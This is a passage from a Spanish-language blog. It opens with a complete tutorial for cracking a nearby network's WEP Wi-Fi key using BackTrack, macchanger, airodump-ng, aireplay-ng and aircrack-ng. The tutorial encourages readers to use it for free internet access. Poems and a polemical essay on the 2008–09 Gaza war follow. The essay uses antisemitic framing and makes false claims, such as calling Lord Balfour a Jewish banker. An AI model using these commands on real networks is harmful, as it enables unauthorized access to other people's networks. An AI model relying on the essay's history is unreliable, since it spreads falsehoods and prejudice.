Esto hará que nuestra USB pueda servir para arrancar la computadora al prenderla.


4. Una vez que tenemos nuestra herramienta lista, ya sea el LiveCD o LiveUSB, procedamos a utilizarla. Inserta el CD o USB en tu computadora, y después apágala.


5. Ahora tendremos que entrar al BIOS de la computadora para cambiar la secuencia de arranque:

Normalmente, cuando enciendes una computadora, la primera pantalla que te sale es la de la compañía fabricante (Dell, Toshiba, IBM, etc.) Esta pantalla dura un par de segundos y después entra el sistema.

Lo que tienes que hacer es prender tu computadora, y enseguida, mientras está la primera pantalla del fabricante, presionar F2, F10 o F12, o la tecla de Escape, para entrar al BIOS. Normalmente en la pantalla misma te indica qué tecla tienes que presionar para entrar a la configuración (Setup) del BIOS. Esto depende del modelo de tu computadora.

Una vez que hayas presionado la tecla adecuada, tu computadora entrará al BIOS. Verás una pantalla (normalmente) azul, en modo de texto, en donde puedes cambiar la configuración de tu computadora.

Encuentra la opción en donde diga algo así como: “Secuencia de arranque” o si está en inglés: “Boot Sequence”. Ahí, lo que tienes que hacer es decirle a tu computadora que al encenderse, intente arrancar primero con un USB, o CD y después con el disco duro (HDD). Sólo tienes que seguir las indicaciones en tu pantalla para cambiar la secuencia de arranque. Yo tengo el orden en mi computadora de la siguente forma:

1. USB Storage Device
2. CD/DVD/CD-RW Drive
3. Internal HDD
4. Diskette Drive

Una vez, hecho esto. Guarda los cambios y sal del BIOS. Apaga la computadora.


6. Vuelve a encender tu computadora, (recuerda que ya debes tener el CD o USB dentro), y automáticamente entrará el sistema de Back Track.

La primera pantalla que verás será una de color gris con una serie de opciones. Para que sea más fácil y no haya problemas con los gráficos, baja a la tercera opción y dale "enter" en donde dice: “BT3 Graphics mode (KDE)”.

Ahora estarás arrancando tu computadora con el OS de Back Track.


7.
Cuando termine de cargarse, verás en el escritorio el logo de Back Track 3. Este es el escritorio de KDE, uno de los más comunes en las distribuciones de linux.

Abajo, en la barra de tareas, dale click al logo azul que está en la esquina inferior izquierda que tiene una “K” (es el logo de KDE). Luego busca Internet>Wireless Assistant. Dale click, y tendrá que salir una ventana en donde puedes ver las señales inalámbricas de Internet que hay cercanas.

Si no ves ninguna señal es que a) no hay señales inalámbricas cercanas, o b) no está funcionando tu tarjeta de Internet inalámbrica.

Si ves las señales, entonces, significa que todo va bien. Puedes cerrar esta ventana.


8.
Junto al logo azul de KDE, hay un ícono que parece un monitor negro de una computadora. Está es la consola, línea de comandos. Dale click ahí. Ahora te aparece una ventana con un cursor.

Aquí escribimos lo siguiente:

# airmon-ng

(Nota: No escribas el signo de número (#), esto sólo indica el cursor del usuario, y que es una nueva orden.)

Presiona “enter” y te saldrá algo como esto:

Interface Chipset Driver

eth1 Broadcom bcm43xx


9. Fíjate en la parte inferior izquierda de los datos que salieron, cómo se llama tu dispositivo de Internet inalámbrico. En mi caso, mi dispositivo se llama “eth1”. En tu caso, puede ser el mismo, o dependiendo de la computadora que uses, puede variar. Puede también ser algo así como “ath1” o “wlan0”, etc. Fíjate cómo se llama tu dispositivo y de ahora en adelante, en donde yo escriba “eth1”, tú vas a escribir el nombre de tu dispositivo.


10.
Ahora escribimos lo siguiente:

# airmon-ng stop eth1

# ifconfig eth1 down

# macchanger --mac 00:11:22:33:44:55 eth1

(Nota: presiona “enter” después de cada orden)

Después de presionar “enter” en la última orden, te saldrá algo así como:

Current MAC: 00:23:12:c7:gh:3D (unknown)
Faked MAC: 00:11:22:33:44:55 (Cimsys Inc)

(Nota: pueden variar los números, pero es algo parecido).


11.
Ahora escribe la siguiente orden:

# airmon-ng start eth1

Te tiene que resultar algo así:

Interface Chipset Driver

eth1 Broadcom bcm43xx (monitor mode enabled)


12.
Ahora escribe la siguiente orden:

# airodump-ng eth1

Enseguida te salen una lista de las señales inalámbricas de Internet que está captando tu computadora. Quizá tengas que hacer la ventana más grande para ver toda la información. Encuentra la señal que quieras “atacar”, la “señal objetivo”. El nombre de la señal lo encuentras bajo el encabezado de “ESSID”.

Una vez que decidas de qué señal quieres obtener la clave WEP, entonces anota cuál es su BSSID, (es decir, los números correspondientes a esa señal que están bajo el encabezado de BSSID). Supongamos que es algo así como: 00:21:8D:99:B4:F2.

También anota el canal de esa señal. Este lo encuentras bajo el encabezado “CH”. Supongamos que el canal es “6”.

Una vez que tienes estos datos, puedes oprimir Ctrl C para cancelar.


13. Ahora escribe la siguiente orden, tomando los datos que acabas de anotar:

# airodump-ng -c 6 -w marx --bssid 00:21:8D:99:B4:F2 eth1

(Nota: Toma en cuenta que yo escribí el número “6” porque estamos suponiendo que el canal de mi señal objetivo es “6”. Tú escribe el canal que hayas anotado. También, yo escribí: “00:21:8D:99:B4:F2” porque estamos suponiendo que esa es la BSSID de la señal que queremos, es decir, de la señal objetivo. Tú pon la BSSID que hayas anotado de tu señal objetivo.)

Enseguida te salen nuevamente, los encabezados anteriores, pero ahora sólo ves listada la señal que escogiste. Mira bajo el encabezado de #Data, y asegúrate de que esté aumentando el número de datos.


14.
Ahora abre otra ventana de consola, haciendo click en el ícono de la barra de tareas que parece un monitor. No cierres la ventana inicial, déjala abierta.

En la segunda consola, escribe lo siguiente:

# aireplay-ng -1 0 -a 00:21:8D:99:B4:F2 -h 00:11:22:33:44:55 eth1

(Nota: una vez más, tú tienes que sustituir en donde yo puse “ 00:21:8D:99:B4:F2” por el BSSID de tu señal objetivo. Por supuesto, también, donde yo pongo eth1, lo debes de haber estado sustituyendo todo este tiempo por tu propio dispositivo. Lo demás, lo escribes exactamente igual, incluyendo el “00:11:22:33:44:55”.)


15.
Ahora escribe la siguiente orden:

# aireplay-ng -3 -b 00:21:8D:99:B4:F2 -h 00:11:22:33:44:55 eth1

(La misma nota anterior, sólo sustituye el BSSID de tu señal objetivo y el dispositivo si es diferente).

Ahora tendrás que esperar algunos minutos. Esto puede tardarse un rato.

En tu segunda consola, verás que van saliendo una serie de líneas que dicen algo así como: “Read 9876 packets (got 95 ARP requests and 39874 ACKs), sent 14255 packets...”

Esto significa que vamos bien.


16.
Ahora observa la primera ventana que dejaste abierta. Bajo el encabezado de #Data, tienes que ver como mínimo 10000 datos antes de que puedas intentar acceder a la clave. Quizá tengas que esperar más, hasta que veas que el número se ha elevado a más de 10,000.

Una vez que veas que has llegado a más de 10000. Entonces, abre una tercera consola y escribe la siguiente orden:

# aircrack-ng -b 00:21:8D:99:B4:F2 marx-01.cap

(Nota: una vez más, sustituye el "00:21:8D:99:B4:F2" por el BSSID de tu señal objetivo)


17.
Si todo ha salido bien, la orden buscará a través de un proceso estadístico la clave. Cuando termine de hacer esto verás algo así como:

KEY FOUND! [ 00:52:AA:32:BB ]
Decrypted correctly: 100%

Esto significa que la clave WEP de la señal objetivo es “0052AA32BB”. Es decir, sólo tienes que suprimir los dos puntos, y ese número será tu clave WEP.

Si no encontró la clave te saldrá algo así como:

Failed, Next try with 5000 Ivs.

Esto significa que tendrás que esperar hasta que junte otros 5000 paquetes de datos, y automáticamente hara otro intento. Lo más probable es que obtengas tu clave WEP desde el primer intento, con sólo 10000 paquetes, pero si no, pues espera otro rato, hasta que llegue a 15000 y entonces tendrás la clave.


18.
Ahora sólo tienes que apuntar tu clave, reiniciar normalmente tu computadora (sin el LiveCD o LiveUSB), e intentar conectarte a la señal objetivo. Cuando te pida tu clave WEP pon la que acabas de obtener, y listo... estarás conectado al Internet.

(Nota: si utilizas linux, tienes que especificar si es Frase de contraseña o Clave hexadecimal. Normalmente es Clave hexadecimal lo que hay que poner. Si no, prueba con las dos. Tiene que ser cualquiera de esas dos.)

Bueno... pues espero que esto te haya sido de utilidad. Recuerda que esto sólo lo puedes hacer por motivos pedagógicos, no para usar Internet sin pagar. Ahora que... si tú no estás de acuerdo con el modelo económico actual capitalista que pretende hacer de la tecnología un privilegio para quienes puedan pagar, y que la tecnología tendría que estar al alcance del pueblo, entonces puedes usarlo como una objeción de conciencia. Cualquier duda, escribe tus comentarios.

Saludos, buena suerte y... ¡Abajo el capitalismo!

martes, 20 de enero de 2009

Tanka 2

Oculta razón
del doble sentimiento,
infame traición
que grita en cobardía:
"soy del amor la verdad"

jueves, 15 de enero de 2009

Muerte de noche

Muerte de noche...
óbito de luz que entró entre mis sábanas,
antítesis de sonrisa diurna
que cubre con su obscuro velo tu presencia.
Sudan mis músculos cansados,
desgastados y derrotados,
me prenden con pasiones desbordantes.

Cae el Dios vencido ante la noche,
abatido en combate sin final,
se arrodilla ante un enjambre de luceros,
constelaciones enteras de deseos y fantasías.
Un súbito calor consume el arrepentimiento,
y entierra todo aliento de reproche,
penetra rebelde en el fondo del olvido.

Mi cuerpo agoniza de placer,
vacío de amor y de dolor.
Un deseo de redención,
que brota del pasado atormentado,
un pasado calculado,
un pasado que ha acabado...
Cubro en sábanas los recuerdos efímeros del error cometido,
las caricias lejanas de una mano autómata,
y me desvisto de martirios y delirios.

Sueño con momentos de salvación,
en planetas de ilusiones sin amarguras.
Camino entre montañas de pasión,
que se pierden en horizontes de cordura.
Navego en ríos de cariño renovado,
sin una sola mancha de traición.
Descanso en jardines de alcatraces
entre deseos y fantasías recordadas.

Sueño con momentos de justicia,
arrebatos de belleza y libertad.
Siento esos ojos de ébano que me cautivan,
y brillan preciosos entre millones de promesas rotas,
diamantes negros de sentimientos malditos,
perlas perdidas en el corazón de la necrópolis,
me duermen en el estupor de la esperanza desechada.

Sueño con la utopía del cautiverio,
en el Valle de los Falsos Enamorados.
Sucumbo ante la seducción de Morgana,
entre placeres corporales y deslices carnales.
embelesado por la dulce impotencia,
del saberse eternamente olvidado.

Sueño con flores bañadas en oro,
que desprenden aromas de amores biológicos,
sexualidades descubiertas y comprendidas,
prendidas con cariño y ternura verdadera,
...ternura pura
...ternura que cura
Soy testigo onírico de la dulzura,
del amor apostado y perdido en estúpida locura.

Sueño con bellezas reveladas
insurrectas y rebeldes,
ríos de veleidades convertidas,
en verdaderas muestras de congruencia revolucionaria,
caminos de insurgencia sexual
que viven el sueño eterno de libertad,
libertad de amar
sueño de amar la verdad...
sólo un sueño...

Se descubre el velo de la obscuridad,
poco a poco va desapareciendo su sombra en el sopor.
La luz inquieta va robando trozos a la noche.
Reaparece en episodios el guerrero diurno,
el verdugo de la realidad,
me despierto
no hay flores, ni diamantes
no hay justicia, ni salvación
no hay utopías, ni bellezas,
no hay libertad de amar...
...pero estás tú.

Hoy no quiero verte

(ante la indiferencia por un genocidio)

Hoy no quiero verte...
Hoy no quiero tropezar con tus ojos,
ni sentir tus lágrimas que caen en el vacío,
No quiero ver más tu cuerpo entre el escombro de un baluarte
Hoy no quiero conocer tu rostro sin luz.

No quiero seguir escuchando tu nombre,
una y otra vez gritándome vergüenzas,
escupiendo impotencia
sangrando siglos...
¡Por piedad!
No quiero escucharte más...

Estoy harto de verte entre cámaras y reflectores,
jaulas eternas de cañones y mentiras...
Pasarelas de cristal y hierro,
que exhiben cuerpos manchados de ignominia,
entre momentos de comercialidades polimorfas.

Hoy me me da asco la sordidez de la razón
Me repugna la humanidad,
el sentimiento que violó la tumba de mi corazón
para gravar tu rostro en una memoria
de un color tan obscuro,
como la sangre de un cuerpo torturado.

Ya no puedo seguir mirándote.
No soporto tu prolongada agonía
No resisto la distancia,
el blanco de tu mano,
ignorado por los perros que te persiguen,

La revolución se hace con amor y con verdad,
pero también con coraje y dignidad
Hoy por eso dejaré de verte,
Y en acto de honor y rebelión,
tomaré un arma
para luchar a tu lado y no tener ya que mirarte....

martes, 6 de enero de 2009

Palestina... el genocidio permitido

Sábado veintisiete de diciembre... pasa del medio día. Suenan las campanas de las escuelas que anuncian el término de clases. Niños y niñas de todas las edades corren alegres por las calles como queriendo robarle una sonrisa a su momentánea libertad. Unos van de prisa, hambrientos a sus casas, quizá hoy haya algo más que lentejas esperándolos. Otros no tan ansiosos en llegar a sus hogares, se van juntando en los campos de fútbol, intercambian propuestas para la selección de los equipos. Una niña corre a esperar a su mejor amiga frente al parque, otra decide caminar por los cultivos mirando el azul del cielo. No lo puede encontrar... Docenas de aviones de guerra F16 y helicópteros Apache de manufactura estadounidense apagan la luz del sol. Las siniestras sombras del enjambre aéreo tiñen el cielo de un gris lúgubre. Una luz cegadora roba la vista de los curiosos. Comienza una cascada de estallidos... ¡La tierra retumba y grita de dolor! ¡Dos, tres, cinco diez, quince explosiones! ¡Doscientos treinta muertos, setecientos heridos! Cuerpos de niños, hombres y mujeres destrozados se esconden entre el humo negro y los escombros de los edificios. Las tropas israelíes movilizan seis mil quinientos reservistas. ¡Diez, quince, veinte, muchas más bombas! ¡Trescientos ochenta muertos, mil ochocientos heridos! El plomo endurecido cae sobre hospitales, templos, universidades, escuelas, habitaciones, comercios. Muere el universitario, el profesor, el carnicero, el policía, el funcionario, el zapatero, el carpintero, el artesano, la periodista, la secretaria, la esposa, la madre, la hija, el hijo, el hermano. Son terroristas... Es su culpa por vivir en una “zona militar cerrada”, por haber nacido en Palestina, por ser árabes. ¡Treinta, cincuenta, sesenta proyectiles! ¡Cuatrocientos ochenta muertos, dos mil doscientos heridos...! es miércoles, el mundo occidental celebra el año nuevo, cinco días de bombardeo y no se ha detenido la masacre...
El 9 de diciembre de 2008, tres semanas antes del ataque, el Secretario General de las Naciones Unidas declaraba por el 60 aniversario de la Convención para la Prevención y la Sanción del Delito de Genocidio: “La Convención fue la consecuencia directa del intento de exterminar a la población judía durante el Holocausto y desde entonces ha representado la aspiración de las Naciones Unidas de impedir que ese horror se vuelva a producir...”
¿Nunca te has preguntado por qué vale más la vida de un israelita que la de un palestino? ¿Nunca te has puesto a pensar por qué un pueblo que fue víctima de un genocidio, ahora tiene permiso internacional de masacrar y exterminar a otro, de repetir su Holocausto, pero intercambiando los papeles? ¿Por qué la “comunidad internacional” no hace nada por evitar el exterminio de los palestinos? ¿Por qué ya no aparece Palestina en los mapas? ¿Por qué tanta hipocresía...?
En 1882, los judíos sionistas comenzaron su proyecto de crear un Estado Judío, o “Gran Israel” en Palestina. Había que “desarabizarla y judaizarla”, es decir, sacar a los millones de árabes que habitaban este territorio por milenios. Los primeros asentamientos judíos en la región se llamaban “kibbutz” y eran financiados por poderosas organizaciones sionistas en Gran Bretaña y EEUU. En 1917, con la “Declaración de Balfour”, el banquero judío Lord Balfour, quien era entonces Ministro de Exteriores del Gobierno Británico, junto con los líderes sionistas Chaim Weizmann y el Barón de Rothschild, decidieron crear el “Hogar Nacional Judío” en Palestina. Para el imperialismo, la idea de un estado judío en Palestina era atractiva pues significaba tener una cabeza de playa en el codiciado medio oriente, rico en petróleo y estratégico para el dominio geopolítico. Es por esto que desde un inicio, Inglaterra y Estados Unidos apoyaron incondicionalmente el proyecto sionista. En 1920, concluida la Primera Guerra Mundial, Inglaterra impuso el “mandato británico” en los territorios palestinos. Los palestinos se opusieron y resistieron heroicamente, pero los británicos impusieron su dominio por la fuerza y a través de masacres y represiones masivas contra la población árabe, comenzaron una fuerte campaña de traslado de judíos a territorio palestino. En 1940, antes del citado holocausto judío, Joseph Weitz, director del Fondo Nacional Agrario judío, declaraba: “no debemos dejar una sola aldea, ni una sola tribu...” refiriéndose a la limpieza étnica de árabes en Palestina.
Después de la Segunda Guerra Mundial, los sionistas hicieron del Holocausto un fantasma para consolidar su proyecto de apropiarse a Palestina. Construyéndose una imagen de víctimas, reclamaron al mundo compensaciones materiales, económicas y morales, por lo que el 29 de noviembre de 1947, Inglaterra, con el auspicio de la ONU partió a Palestina en dos estados, uno judío al que le asignó 55% de la tierra y otro árabe con el 45% restante. Jerusalén quedó internacionalizada bajo control de la ONU. Cabe mencionar que a pesar de los traslados masivos de judíos a Palestina, éstos seguían siendo minoría en ambos estados. El 14 de mayo de 1948, los británicos se retiraron de Palestina y los sionistas proclamaron el Estado de Israel. Ese mismo año, Israel desató una guerra de exterminio contra los árabes para obligarlos a salir de los territorios asignados por la ONU. Aldeas enteras, como la de Dayr Yasín, situadas entre Jerusalén y Belén, fueron masacradas y quemadas. Quedaban como testimonio los miles de cadáveres de ancianos, hombres, mujeres y niños. 200,000 palestinos fueron expulsados ese año de sus tierras. Al fin de esta guerra, Israel había conseguido conquistar el 78% de Palestina.
En junio de 1967, Israel lanzó nuevamente una guerra contra los árabes. Esta guerra se pretendió justificar como un “ataque preventivo” en contra del peligro árabe. La que se conocería como “Guerra de los Seis Días” terminó con la ocupación de los únicos territorios palestinos remanentes, la franja de Gaza y Cisjordania, que desde entonces se conocerían como los “territorios ocupados”. Ese mismo año, la ONU exigió a Israel, en su resolución 242, que se retirara de los territorios ocupados, pero el Estado sionista no hizo caso. Fue hasta 1994 que la ONU reconoció en los “Acuerdos de Oslo” a la Autoridad Nacional Palestina y su derecho a controlar 22% de los territorios ocupados de Gaza y Cisjordania; esto quiere decir, sólo el 5% del territorio palestino original. Desde entonces, el Estado artificial de Israel ha violado el derecho internacional incursionando constantemente en los territorios bajo autoridad palestina, cercándolos, imponiendo controles militares, prohibiendo la entrada de provisiones, y realizando asesinatos masivos y selectivos, así como un permanente acoso militar a la población civil.
Es la víspera de año nuevo, el mundo permanece indiferente a la masacre de palestinos. Algunos activistas que todavía se preocupan por la humanidad organizan protestas en embajadas israelíes en diversos países. Un grupo de quince médicos y abogados de once países salen en misión humanitaria del puerto de Chipre, en un bote con destino a Palestina. El navío, bautizado con el nombre de “Dignity” (dignidad), va cargado de medicinas y alimentos para el pueblo palestino. Es de madrugada. Aún están en aguas internacionales. Todavía no se alcanza a ver la luz del día pero los tripulantes distinguen un escuadrón de naves de guerra de la marina israelí, que se acerca amenazante al Dignity. En un instante quedan rodeados por barcos de guerra israelíes. ¡Venimos en misión humanitaria! ¡Sólo traemos medicinas y alimentos para la población civil! Sin más, los marinos israelíes abren fuego. Exigen que regresen a Chipre. El Dignity no tiene combustible suficiente para regresar. Ya son las 6:45am. Continúan los disparos. Los aterrorizados tripulantes de la nave humanitaria pierden contacto por radio con tierra firme... ¡Sesenta, ochenta, cien bombas! Llueve fuego en Gaza. Cuatrocientos cincuenta muertos... ya no se pueden contar los heridos. Israel cierra la zona y prohíbe la entrada de alimentos, medicinas y periodistas a la franja de Gaza. No se puede encontrar una sonrisa entre el millón y medio de rostros que habitan la franja. Hosni Mubarak, el desafortunado presidente egipcio, ordena sellar la frontera con Gaza para no permitir el paso de refugiados palestinos. Mientras tanto, Ofer Shmerling, funcionario de la defensa civil de Israel en el área de Sderot, adyacente a Gaza, declara en Al Jazeera: “Tocaré música y celebraré lo que está haciendo la Fuerza Aérea de Israel”.
Israel es el principal beneficiario de la ayuda militar estadounidense, y una de las potencias nucleares en el mundo. En Israel, es legal el uso de la tortura y la pena de muerte por sospecha. En lo que va del año 2000 al presente, han sido asesinados más de 5,000 palestinos por las fuerzas militares israelíes que entran a su antojo en los territorios palestinos, con la excusa del combate al terrorismo. Es obvio que para el imperialismo, todo aquel que no agache la cabeza y muera en silencio viendo cómo le arrebatan su tierra, es un terrorista. Estados Unidos, junto con Canadá y Alemania declararon su apoyo a Israel, y califican su acción militar como “defensiva”. Mientras tanto, la prensa norteamericana y europea hace eco de las declaraciones de Ehud Olmert, primer ministro israelí y Tzipi Livni, ministra del exterior, de que la actual campaña militar es un acto de represalia por los cohetes Qassam lanzados por palestinos, a partir de que expiró el 19 de diciembre la tregua de seis meses. Es importante aclarar que para los palestinos, este tipo de cohetes caseros de bajo impacto son una forma de contestar a la criminal ocupación israelí y a las masacres perpetradas en su contra. Sin embargo, la operación plomo endurecido que oficialmente fue aprobada el 24 de diciembre de 2008, comenzó a prepararse desde hace más de seis meses. Mientras Israel negociaba un acuerdo de alto al fuego con Hamas, las fuerzas militares israelíes ya estaban recabando información de inteligencia sobre bases permanentes, sitios de armas, campos de entrenamiento, y domicilios de líderes y funcionarios palestinos. La supuesta negociación sólo fue para Israel una forma de ganar tiempo. Una vez más, el estado sionista aplicó la estrategia del peligro fabricado con el cual ha pretendido justificar sus guerras anexionistas y de limpieza étnica. Para Israel, la única tregua aceptable sería que los palestinos se dejen colonizar unilateralmente, se dejen asesinar y humillar, acepten vivir en la miseria, en el exilio, una tregua en la cual los palestinos dejen de existir. Pero los sobrevivientes palestinos no claudican, se reorganizan y se integran a las milicias de resistencia
Es la primera semana de enero, diez días desde que inició la ofensiva, las tropas terrestres penetran en la franja de Gaza. Rafah está completamente destruida. Israel exige la total evacuación de la ciudad de Gaza. Quien se quede lo hace bajo su propio riesgo. Los tanques pasan por entre los trozos de carne humana y concreto. Del cielo caen panfletos exhortando a los palestinos a entregar a sus hermanos. Ignoran los israelíes que los palestinos ya no tienen hermanos a quien entregar. Están muertos entre los escombros, víctimas del holocausto... El mundo observa... y sigue observando nada más. ¿Hasta cuándo seguiremos observando nada más? ¿Hasta que ya no quede un solo palestino vivo?

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